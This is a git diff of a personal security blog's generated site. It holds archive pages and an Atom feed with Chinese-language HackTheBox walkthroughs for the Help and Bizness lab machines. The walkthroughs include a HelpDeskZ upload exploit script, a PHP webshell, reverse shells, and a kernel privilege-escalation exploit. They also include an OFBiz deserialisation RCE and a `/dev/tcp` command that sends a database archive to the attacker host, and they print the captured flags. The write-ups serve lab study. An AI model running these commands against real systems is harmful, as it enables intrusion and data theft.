螺旋矩阵输出
密码学笔记
密码学笔记
2021总结
2021总结
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/02/index.html b/archives/2022/02/index.html new file mode 100644 index 000000000..b1fcbb4e0 --- /dev/null +++ b/archives/2022/02/index.html @@ -0,0 +1,199 @@ +2022年02月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 5
2022
html5新安全
html5新安全
香农信息论
香农信息论
bWAPP靶场记录
bWAPP靶场记录
Attacks on the RSA Cryptosystem
Attacks on the RSA Cryptosystem
network-security学习笔记
network-security学习笔记
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/03/index.html b/archives/2022/03/index.html new file mode 100644 index 000000000..6879a6672 --- /dev/null +++ b/archives/2022/03/index.html @@ -0,0 +1,199 @@ +2022年03月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2022
python安全开发
python安全开发
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/08/index.html b/archives/2022/08/index.html new file mode 100644 index 000000000..8d87f4665 --- /dev/null +++ b/archives/2022/08/index.html @@ -0,0 +1,199 @@ +2022年08月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2022
春招
春招
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/12/index.html b/archives/2022/12/index.html new file mode 100644 index 000000000..7f1d5513d --- /dev/null +++ b/archives/2022/12/index.html @@ -0,0 +1,199 @@ +2022年12月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 4
2022
hexo博客部署
hexo博客部署
Mac下 安装BurpsuiteProfession
Mac下 安装BurpsuiteProfession
博客迁移
博客迁移
图片测试
图片测试
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/index.html b/archives/2022/index.html new file mode 100644 index 000000000..0aba9e3f7 --- /dev/null +++ b/archives/2022/index.html @@ -0,0 +1,199 @@ +2022 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 15
2022
hexo博客部署
hexo博客部署
Mac下 安装BurpsuiteProfession
Mac下 安装BurpsuiteProfession
博客迁移
博客迁移
图片测试
图片测试
春招
春招
python安全开发
python安全开发
html5新安全
html5新安全
香农信息论
香农信息论
bWAPP靶场记录
bWAPP靶场记录
Attacks on the RSA Cryptosystem
Attacks on the RSA Cryptosystem
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/page/2/index.html b/archives/2022/page/2/index.html new file mode 100644 index 000000000..72272d5a8 --- /dev/null +++ b/archives/2022/page/2/index.html @@ -0,0 +1,199 @@ +2022 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 15
2022
network-security学习笔记
network-security学习笔记
DVWA靶场记录
DVWA靶场记录
螺旋矩阵输出
螺旋矩阵输出
密码学笔记
密码学笔记
2021总结
2021总结
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2023/01/index.html b/archives/2023/01/index.html new file mode 100644 index 000000000..c9cd74df6 --- /dev/null +++ b/archives/2023/01/index.html @@ -0,0 +1,199 @@ +2023年01月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2023
2023年展望
2023年展望
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2023/05/index.html b/archives/2023/05/index.html new file mode 100644 index 000000000..d744fec6c --- /dev/null +++ b/archives/2023/05/index.html @@ -0,0 +1,199 @@ +2023年05月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2023
SOC和SIEM建设
SOC和SIEM建设
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2023/06/index.html b/archives/2023/06/index.html new file mode 100644 index 000000000..6b7f1188b --- /dev/null +++ b/archives/2023/06/index.html @@ -0,0 +1,199 @@ +2023年06月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 2
2023
WAF
WAF
Firefox安装证书的几种方式
Firefox安装证书的几种方式
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2023/09/index.html b/archives/2023/09/index.html new file mode 100644 index 000000000..a3245d232 --- /dev/null +++ b/archives/2023/09/index.html @@ -0,0 +1,199 @@ +2023年09月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2023
xray之以CVE-2023-42442为例POC编写
xray之以CVE-2023-42442为例POC编写
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2023/11/index.html b/archives/2023/11/index.html new file mode 100644 index 000000000..39b9cae23 --- /dev/null +++ b/archives/2023/11/index.html @@ -0,0 +1,199 @@ +2023年11月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2023
ChatGPT 接入微信实践
ChatGPT 接入微信实践
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2023/index.html b/archives/2023/index.html new file mode 100644 index 000000000..674ab868f --- /dev/null +++ b/archives/2023/index.html @@ -0,0 +1,199 @@ +2023 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2024/09/index.html b/archives/2024/09/index.html new file mode 100644 index 000000000..b1447bac5 --- /dev/null +++ b/archives/2024/09/index.html @@ -0,0 +1,199 @@ +2024年09月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 4
2024
HTB_Help
HTB_Help
HTB_Bizness
HTB_Bizness
Log4jShell事件
Log4jShell事件
HTB_MetaTwo
HTB_MetaTwo
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2024/index.html b/archives/2024/index.html new file mode 100644 index 000000000..fc548d075 --- /dev/null +++ b/archives/2024/index.html @@ -0,0 +1,199 @@ +2024 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 4
2024
HTB_Help
HTB_Help
HTB_Bizness
HTB_Bizness
Log4jShell事件
Log4jShell事件
HTB_MetaTwo
HTB_MetaTwo
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/index.html b/archives/index.html new file mode 100644 index 000000000..12e52f619 --- /dev/null +++ b/archives/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 80
2024
HTB_Help
HTB_Help
HTB_Bizness
HTB_Bizness
Log4jShell事件
Log4jShell事件
HTB_MetaTwo
HTB_MetaTwo
2023
ChatGPT 接入微信实践
ChatGPT 接入微信实践
xray之以CVE-2023-42442为例POC编写
xray之以CVE-2023-42442为例POC编写
WAF
WAF
Firefox安装证书的几种方式
Firefox安装证书的几种方式
SOC和SIEM建设
SOC和SIEM建设
2023年展望
2023年展望
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/2/index.html b/archives/page/2/index.html new file mode 100644 index 000000000..c8786102c --- /dev/null +++ b/archives/page/2/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 80
2022
hexo博客部署
hexo博客部署
Mac下 安装BurpsuiteProfession
Mac下 安装BurpsuiteProfession
博客迁移
博客迁移
图片测试
图片测试
春招
春招
python安全开发
python安全开发
html5新安全
html5新安全
香农信息论
香农信息论
bWAPP靶场记录
bWAPP靶场记录
Attacks on the RSA Cryptosystem
Attacks on the RSA Cryptosystem
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/3/index.html b/archives/page/3/index.html new file mode 100644 index 000000000..973fdefda --- /dev/null +++ b/archives/page/3/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 80
2022
network-security学习笔记
network-security学习笔记
DVWA靶场记录
DVWA靶场记录
螺旋矩阵输出
螺旋矩阵输出
密码学笔记
密码学笔记
2021总结
2021总结
2021
初等数论学习
初等数论学习
记一次360众测考核
记一次360众测考核
六月加油
六月加油
ISCC练武题
ISCC练武题
企业渗透2
企业渗透2
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/4/index.html b/archives/page/4/index.html new file mode 100644 index 000000000..2592bbd6b --- /dev/null +++ b/archives/page/4/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/5/index.html b/archives/page/5/index.html new file mode 100644 index 000000000..e88ab5ce1 --- /dev/null +++ b/archives/page/5/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 80
2021
leetcode15 - 3sum
leetcode15 - 3sum
渗透Metasploitable2
渗透Metasploitable2
舆情分析-人物画像
舆情分析-人物画像
V&N-CTF
V&N-CTF
云蜜罐
云蜜罐
关于WAF
关于WAF
XXE漏洞
XXE漏洞
字节跳动安全风控训练营总结
字节跳动安全风控训练营总结
Python命令行解析Argparse
Python命令行解析Argparse
CDN的绕过
CDN的绕过
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/6/index.html b/archives/page/6/index.html new file mode 100644 index 000000000..845aec34a --- /dev/null +++ b/archives/page/6/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/7/index.html b/archives/page/7/index.html new file mode 100644 index 000000000..d02de98d0 --- /dev/null +++ b/archives/page/7/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/page/8/index.html b/archives/page/8/index.html new file mode 100644 index 000000000..ac6ecbde3 --- /dev/null +++ b/archives/page/8/index.html @@ -0,0 +1,199 @@ +时间轴 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 80
2021
常用的linux命令
常用的linux命令
记录前端学习--HTML
记录前端学习--HTML
2020
信息安全
信息安全
云安全
云安全
记第一次挖矿
记第一次挖矿
黑客术语解释
黑客术语解释
Chrome快捷键
Chrome快捷键
Windows快捷键
Windows快捷键
Git
Git
解决Win10桌面图标小箭头问题
解决Win10桌面图标小箭头问题
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/atom.xml b/atom.xml new file mode 100644 index 000000000..210c5a4c5 --- /dev/null +++ b/atom.xml @@ -0,0 +1,2026 @@ + + + h4m5t's Blog + + love is good + + + + 2024-09-24T05:05:42.000Z + http://h4m5t.github.io/ + + + h4m5t + + + + Hexo + + + HTB_Help + + http://h4m5t.github.io/2024/09/18/HTB_Help/ + 2024-09-18T15:42:30.000Z + 2024-09-24T05:05:42.000Z + + 信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# echo "10.129.230.159" > ip.txt

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# nmap -sC -sV $(cat ip.txt)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 01:33 AEST
Nmap scan report for 10.129.230.159
Host is up (0.012s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds

目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# dirsearch -u "http://help.htb" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 220545

Output File: /home/h4m5t/Desktop/HTB/Help/reports/http_help.htb/_24-09-24_12-53-02.txt

Target: http://help.htb/

[12:53:02] Starting:
[12:53:03] 301 - 306B - /support -> http://help.htb/support/
[12:53:04] 301 - 309B - /javascript -> http://help.htb/javascript/

或者使用gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# gobuster dir -u http://help.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://help.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 301) [Size: 306] [--> http://help.htb/support/]
/javascript (Status: 301) [Size: 309] [--> http://help.htb/javascript/]

或使用ffuf, 只显示成功的请求,并将扫描的输出结果同时显示在终端并保存到 scan_results.txt 文件中。

1
ffuf -u http://help.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -mc 200,301,302 | tee scan_results.txt

文件上传

根据爆破的目录,找到一个上传点:

1
http://help.htb/support/

上传phpshell提示文件类型不允许,但其实文件已经上传成功。

1
2
3
4
5
6
7
8
9
10
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit "HelpDeskZ"
------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------ ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injecti | php/webapps/41200.py
Helpdeskz v2.0.2 - Stored XSS | php/webapps/52068.txt
------------------------------------------------ ---------------------------------
Shellcodes: No Results
1
2
3
4
5
6
7
8
9
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit -m php/webapps/40300.py
Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload
URL: https://www.exploit-db.com/exploits/40300
Path: /usr/share/exploitdb/exploits/php/webapps/40300.py
Codes: N/A
Verified: False
File Type: ASCII text
Copied to: /home/h4m5t/Desktop/HTB/Help/40300.py

优化修改后的Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hashlib
import time
import requests
import datetime
import sys

print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [nameOfUploadedFile]")
sys.exit(1)

# 基础 URL
helpdeskzBaseUrl = 'http://help.htb/support/uploads/tickets/'
fileName = sys.argv[1]

# 获取当前时间,避免时区错误
r = requests.get(helpdeskzBaseUrl)
currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970, 1, 1)).total_seconds())

# 尝试通过猜测时间来获得文件的实际URL
for x in range(0, 500):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode()).hexdigest() # 将字符串编码为字节
url = helpdeskzBaseUrl + md5hash + '.php'
# print(url)
response = requests.head(url)
if response.status_code == 200:
print('Found!')
print(url)
sys.exit(0)

print('Sorry, I did not find anything')

上传文件phpshell.php

1
<?php system($_GET['cmd']); ?>

上传后运行exp脚本,结果如下:

1
2
3
4
5
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# python exploit.py phpshell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Found!
http://help.htb/support/uploads/tickets/13985c5cd0fa35388f56480d778564b5.php

浏览器输入:

1
http://help.htb/support/uploads/tickets/13985c5cd0fa35388f56480d778564b5.php?cmd=id

结果:

1
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare) 

RCE利用成功。

下载一个功能更强大的php-reverse-shell

1
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

修改php脚本中的IP为tun0的IP地址

1
$ip = '10.10.14.9';

本地开启nc监听:

1
nc -lnvp 1234

上传php-reverse-shell,并使用exp脚本:

reverse_shell

拿到user_flag:

1
2
$ cat /home/help/user.txt
2df113fbcfc65a5889ca9a2932054c9b

Tips: There are at least two exploitable vulnerabilities in HelpDeskZ 1.0.2. There’s an authenticated SQL injection that will allow you to read a SHA1 hash from the database and crack it, allowing for SSH access. There’s also an arbirtray file upload vulnerability that will allow you to upload a webshell and get execution that way. Either way, you end up with a shell as the same user.

稳定shell

这个 shell 可能是非交互式的,无法使用完整的终端功能(例如不能使用箭头键或者 tab 自动补全)。为了稳定它,可以使用以下命令使 shell 更加交互式:

  1. 在目标机器的 shell 中,执行以下命令来获取伪终端:

    1
    python -c 'import pty; pty.spawn("/bin/bash")'

    如果目标机器上有 Python 3,使用:

    1
    python3 -c 'import pty; pty.spawn("/bin/bash")'

    一般情况下到这里就可以了,不用继续。

  2. 在攻击者端(Netcat session),按下 Ctrl + Z 将会话挂起。

    ==注意,需要先将kali的zsh切换为bash!==,如果使用zsh,可以将下面的命令链接起来:

    1
    stty raw -echo;fg
  3. 设置终端模式:

    1
    2
    stty raw -echo
    fg

    然后按 Enter 键,获得一个更稳定的交互 shell。

  4. 最后,在目标机器上执行以下命令,设置终端环境:

    1
    export TERM=xterm

现在拥有了目标机器的 Shell,接下来可以进行以下操作:

  • 枚举系统信息

    • 识别操作系统版本、内核版本、用户信息等:
      1
      2
      3
      uname -a
      whoami
      id
  • 枚举权限

    • 查看当前用户的权限,检查是否可以获得更多的特权。
  • 提权

    • 如果当前 shell 权限有限,你可能想通过一些提权技术来获得 root 权限。你可以搜索系统是否存在已知的提权漏洞,或者利用 misconfiguration(如 SUID 位、错误配置的 Cron Jobs 等)进行提权。

shell

提权

使用LinEnum.sh提权检查脚本(攻击机使用httpserver,目标机wget下载)

1
2
3
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh | tee LinEnum-results.txt

version 0.982

  • Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

OPTIONS:

  • -k Enter keyword
  • -e Enter export location
  • -t Include thorough (lengthy) tests
  • -s Supply current user password to check sudo perms (INSECURE)
  • -r Enter report name
  • -h Displays this help text

注意,如果需要要目标机下载log文件到本地进行分析,可以在目标机使用:

1
2
3
python -m SimpleHTTPServer 8080
#or
python3 -m http.server 8080

或使用uname -a 查看系统版本

1
2
help@help:/$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

查到exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit "4.4.0-116"
--------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------- ---------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privil | linux/local/44298.c
--------------------------------------------------------- ---------------------------------
Shellcodes: No Results

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit -m linux/local/44298.c
Exploit: Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/44298
Path: /usr/share/exploitdb/exploits/linux/local/44298.c
Codes: CVE-2017-16995
Verified: False
File Type: C source, ASCII text
Copied to: /home/h4m5t/Desktop/HTB/Help/44298.c

在kali启动http.server

1
python -m http.server

在靶机wget下载文件并编译:

1
2
help@help:/tmp$ wget http://10.10.14.9:8000/44298.c
help@help:/tmp$ gcc 44298.c -o 44298

运行,提权成功:

1
2
3
4
5
6
help@help:/tmp$ ./44298 
task_struct = ffff88003b502a00
uidptr = ffff880037300784
spawning root shell
root@help:/tmp# cat /root/root.txt
e0226c44b138c223f11148228acb9517

参考

https://www.youtube.com/watch?v=axxCpCTmu_k

https://0xdf.gitlab.io/2019/06/08/htb-help.html#

]]>
+ + + + + <h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre + + + + + + + + + +
+ + + HTB_Bizness + + http://h4m5t.github.io/2024/09/15/HTB_Bizness/ + 2024-09-15T12:05:52.000Z + 2024-09-24T05:05:42.000Z + + 信息收集
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# nmap -p- $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 20:43 AEST
Nmap scan report for bizness.htb (10.129.232.1)
Host is up (0.040s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
41845/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
1
echo "10.129.232.1 bizness.htb" | sudo tee -a /etc/hosts

目录扫描:

1
2
3
4
5
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# dirsearch -u https://bizness.htb/

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# feroxbuster -k -u https://bizness.htb

根据扫描结果进入https://bizness.htb/content/ 页面

自动跳转到https://bizness.htb/content/control/main 登陆界面

查看右下角发现ERP系统版本:

1
Copyright (c) 2001-2024 The Apache Software Foundation. Powered by Apache OFBiz. Release 18.12

查询到此版本的Apache OFBiz有RCE漏洞CVE-2023-49070

反序列化

下载工具ysoserial

1
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

创建exploit.py (此处会利用到ysoserial-all.jar)

参考:https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC/blob/main/exploit.py

运行报错,提示需要安装java-11-openjdk环境

安装并切换java

1
sudo apt install openjdk-11-jdk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# update-alternatives --config java
There are 3 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 auto mode
1 /usr/lib/jvm/java-11-openjdk-arm64/bin/java 1111 manual mode
2 /usr/lib/jvm/java-17-openjdk-arm64/bin/java 1711 manual mode
3 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-arm64/bin/java to provide /usr/bin/java (java) in manual mode

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# java --version
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode)

开启tcpdump

1
sudo tcpdump -i 2 icmp

运行POC

1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# python3 exploit.py https://bizness.htb rce "ping -c 5 10.10.14.8"
Not Sure Worked or not

查看抓到的数据包:

1
2
3
4
5
6
7
8
┌──(root@kali)-[/home/h4m5t/Desktop]
└─# tcpdump -i 2 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
21:47:38.693694 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 1, length 64
21:47:38.693728 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 1, length 64
21:47:39.695235 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 2, length 64
21:47:39.695274 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 2, length 64

说明RCE成功,现在进行反向shell

首先开启nc监听,再运行exp

1
nc -nlvp 4444
1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# python3 exploit.py https://bizness.htb shell 10.10.14.8:4444
Not Sure Worked or not

shell

在用户目录下找到flag: /home/ofbiz/user.txt

获取数据库derby中信息

找到安全配置文件/opt/ofbiz/framework/security/config/security.properties

查看用的哈希算法是默认的SHA-1 ,这是个好消息,因为SHA-1不安全,有可能破解。

1
2
3
4
ofbiz@bizness:/opt/ofbiz/framework/security/config$ cat security.properties | grep hash
<ecurity/config$ cat security.properties | grep hash
# -- specify the type of hash to use for one-way encryption, will be passed to java.security.MessageDigest.getInstance() --
password.encrypt.hash.type=SHA

这就引出了下一个问题,即密码和其他信息在 Apache OFBiz 中的存储位置。经查询,默认情况下,OFBiz 使用名为 Apache Derby 的嵌入式 Java 数据库。

经查询,数据库文件存储在/opt/ofbiz/runtime/data/derby

1
2
3
4
5
6
7
8
9
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls -la
ls -la
total 24
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 2023 .
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 2023 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 2320 Sep 15 06:12 derby.log
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiz
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbizolap
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiztenant

使用derby-tools的ij命令连接数据库。命令示例:

1
CONNECT 'jdbc:derby:./ofbiz';

从目标机器下载ofbiz文件到本地:

在kali开启监听。

1
2
3
4
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# nc -nlvp 4444 > ofbiz.tar
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.129.232.1] 40826

在目标机器上:

1
2
3
cd /opt/ofbiz/runtime/data/derby
tar cvf ofbiz.tar ofbiz
cat ofbiz.tar > /dev/tcp/10.10.14.8/4444

为了连接到此数据库,需要先下载工具。

1
apt install derby-tools

连接并查看表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# ij
ij version 10.14
ij> CONNECT 'jdbc:derby:./ofbiz';
ij> SHOW TABLES;
TABLE_SCHEM |TABLE_NAME |REMARKS
------------------------------------------------------------------------
SYS |SYSALIASES |
SYS |SYSCHECKS |
SYS |SYSCOLPERMS |
SYS |SYSCOLUMNS |
SYS |SYSCONGLOMERATES |
SYS |SYSCONSTRAINTS |
SYS |SYSDEPENDS |
SYS |SYSFILES |
SYS |SYSFOREIGNKEYS |
SYS |SYSKEYS |
SYS |SYSPERMS |
SYS |SYSROLES |
SYS |SYSROUTINEPERMS |
SYS |SYSSCHEMAS |
SYS |SYSSEQUENCES |
SYS |SYSSTATEMENTS |
SYS |SYSSTATISTICS |
SYS |SYSTABLEPERMS |
SYS |SYSTABLES |
SYS |SYSTRIGGERS |
SYS |SYSUSERS |
SYS |SYSVIEWS |
SYSIBM |SYSDUMMY1 |
OFBIZ |ACCOMMODATION_CLASS |
OFBIZ |ACCOMMODATION_MAP |
OFBIZ |ACCOMMODATION_MAP_TYPE |
OFBIZ |ACCOMMODATION_SPOT |
OFBIZ |ACCTG_TRANS |

找到关于用户信息的表:

1
2
